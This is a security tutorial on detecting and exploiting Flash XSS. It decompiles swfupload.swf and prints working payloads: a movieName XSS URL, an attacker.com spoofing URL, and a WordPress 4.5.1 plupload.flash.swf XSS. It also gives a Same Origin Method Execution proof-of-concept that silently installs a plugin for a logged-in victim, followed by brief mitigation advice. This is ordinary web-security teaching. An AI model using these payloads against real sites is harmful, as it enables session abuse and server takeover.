DETECTION & EXPLOITATION OF FLASH XSS

1. What is Flash XSS ?

Flash is a software platform which is used for developing animation, rich internet applications and games that can be viewed or executed in Flash Player enabled browsers. Flash applications use Actionscripts, if these scripts are not written securely then it could introduce vulnerabilities in the Flash applications. It is also known as Cross Site Flashing (XSF).

2. Detection

Most of the applications will use flash content to provide rich functionality to the users.

In flash applications if action scripts use one of the following methods with flashvar arguments (uninitialized parameters) then it may be possible to perform XSS attacks on the application:

- loadVariables()
- loadMovie()
- getURL() or NavigateToURL()
- loadMovie()
- loadMovieNum()
- FScrollPane.loadScrollContent()
- LoadVars.load
- LoadVars.send
- XML.load ()
- LoadVars.load ()
- Sound.loadSound();
- NetStream.play();
- OBJECT.external.ExternalInterface.call("eval", cmd);
- *_Callback()

3. Exploitation

Most of the applications will use flash for file uploads, displaying rich animation and more.

The demo application called Employee Management System is also using an embed flash feature for uploading resume of an employee for Internal Job Portal.



To inspect flash variables for Cross Site Scripting attacks download flash file from URL.

Use FFDec (Flash File Decompiler) tool to view the source of **swfupload.swf (Small Web Format file)**



Under scripts > SWFUpload is our main ActionScript class.

```
1497      private function PrintDebugInfo() : void
1498      {
1499         var _loc2_:* = null;
1500         var _locl_:* = "\n----- SWF DEBUG OUTPUT ----\n";
1501         _locl_ = _locl_ + ("Build Number:           " + this.build_number + "\n");
1502         _locl_ = _locl_ + ("movieName:              " + this.movieName + "\n");
1503         _locl_ = _locl_ + ("Upload URL:             " + this.uploadURL + "\n");
1504         _locl_ = _locl_ + ("File Types String:      " + this.fileTypes + "\n");
1505         _locl_ = _locl_ + ("Parsed File Types:      " + this.valid_file_extensions.toString() + "\n");
1506         _locl_ = _locl_ + ("HTTP Success:           " + this.httpSuccess.join(", ") + "\n");
1507         _locl_ = _locl_ + ("File Types Description: " + this.fileTypesDescription + "\n");
1508         _locl_ = _locl_ + ("File Size Limit:        " + this.fileSizeLimit + " bytes\n");
1509         _locl_ = _locl_ + ("File Upload Limit:      " + this.fileUploadLimit + "\n");
1510         _locl_ = _locl_ + ("File Queue Limit:       " + this.fileQueueLimit + "\n");
1511         _locl_ = _locl_ + "Post Params:\n";
1512         for(_loc2_ in this.uploadPostObject)
1513         {
1514            if(this.uploadPostObject.hasOwnProperty(_loc2_))
1515            {
```

In above parameters **movieName** parameter looks interesting. After reviewing the code it looks there are no validations on **movieName** as well as **buttonImageURL** (also be seen from application itself which is trying to load icon from URL)

It is possible to spoof content which is loading intentionally from application with **buttonImageURL** parameter

http://test.com/swfupload.swf?buttonImageURL=http://attacker.com/spoofed.png



To abuse **movieName** we need to understand the function call where it is exactly defined and used.

```
this.flashReady_Callback="SWFUpload.instances[\""+this.movieName+"\"].flashReady";
```

```
    if(ExternalCall.Bool(this.testExternalInterface_Callback))
```

```
        {
          ExternalCall.Simple(this.flashReady_Callback);
          this.hasCalledFlashReady = true;
    }
```

From above it is clear that **movieName** value is first inserted in [“”] then stored in **flashReady_Callback** parameter. Then it is compared at if statement.

So the breakdown will be as follows

```
this.flashReady_Callback="SWFUpload.instances[\""+this.movieName+"\"].flashReady";
```

```
    if(ExternalCall.Bool(this.testExternalInterface_Callback))
        {
          ExternalCall.Simple(this.flashReady_Callback);
          this.hasCalledFlashReady = true;
    }
```

The final payload to pop the alert is

http://test.com/swfupload.swf?movieName=”]);}catch(e){alert(1);}//



To Exploit further we have a realtime example on **Wordpress 4.5.1 Same Origin Method Execution or Reverse ClickJacking**

Wordpress 4.5.1 is having known xss issue at **plupload.flash.swf**

http://test.in/wp-includes/js/plupload/plupload.flash.swf?target%g=alert&uid%g=xss





To exploit further we take help of below scenario

- An attacker sends a link that contains the exploit to an authenticated user.
- The user (victim) opens the link and clicks the button.
- The exploit opens a new window to the SWF file, meanwhile the other window is loading the plugin page.
- The exploit then triggers the install button of a malicious plugin.
- The plugin is installed and the malicious codes are uploaded on the server accordingly.

```
<button onclick="fire()">Click</button>
<script>
function fire() {
 open('javascript:setTimeout("location=\'http://example.com/wp-
includes/js/plupload/plupload.flash.swf?target%g=opener.document.body.firstElementChild
.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.click&uid%g=
hello&\'", 2000)');
  setTimeout('location="http://example.com/wp-admin/plugin-install.php?tab=plugin-
information&plugin=wp-super-cache&TB_iframe=true&width=600&height=550"')
}
```

```
</script>
```

Victim logged into his account in Wordpress 4.5.1 version.



Victim opened link which is shared by attacker and clicked on it.



Whenever victim clicked on banner/button/logo(framed by attacker) a new tab will get open and initial tab will get redirected to victim wordpress page and it will automatically load vulnerable plugin installation page. New tab will open victim wordpress **plupload.flash.swf** flash file which will automatically install the plugin open in first tab.



At this stage both loaded flash file and parent tab both are on same origin hence it's known as **Same Origin Method Execution (SOME)**





From above screenshot the vulnerable plugin will get installed without victim notice and attacker later exploit the vulnerable plugin and attempt to gain complete access over the server.

4. Mitigation

Proper filtering in flash action scripts and updating vulnerable flash files will completely fix the issue.

5. References

1. https://gist.github.com/cure53/df34ea68c26441f3ae98f821ba1feb9c
2. https://gist.github.com/cure53/09a81530a44f6b8173f545accc9ed07e#mitigation

3. http://www.benhayak.com/2015/06/same-origin-method-execution-some.html
4. https://hackerone.com/reports/218451